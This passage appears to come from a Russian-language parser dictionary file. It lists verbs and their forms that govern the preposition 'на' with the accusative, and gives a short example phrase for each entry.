rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
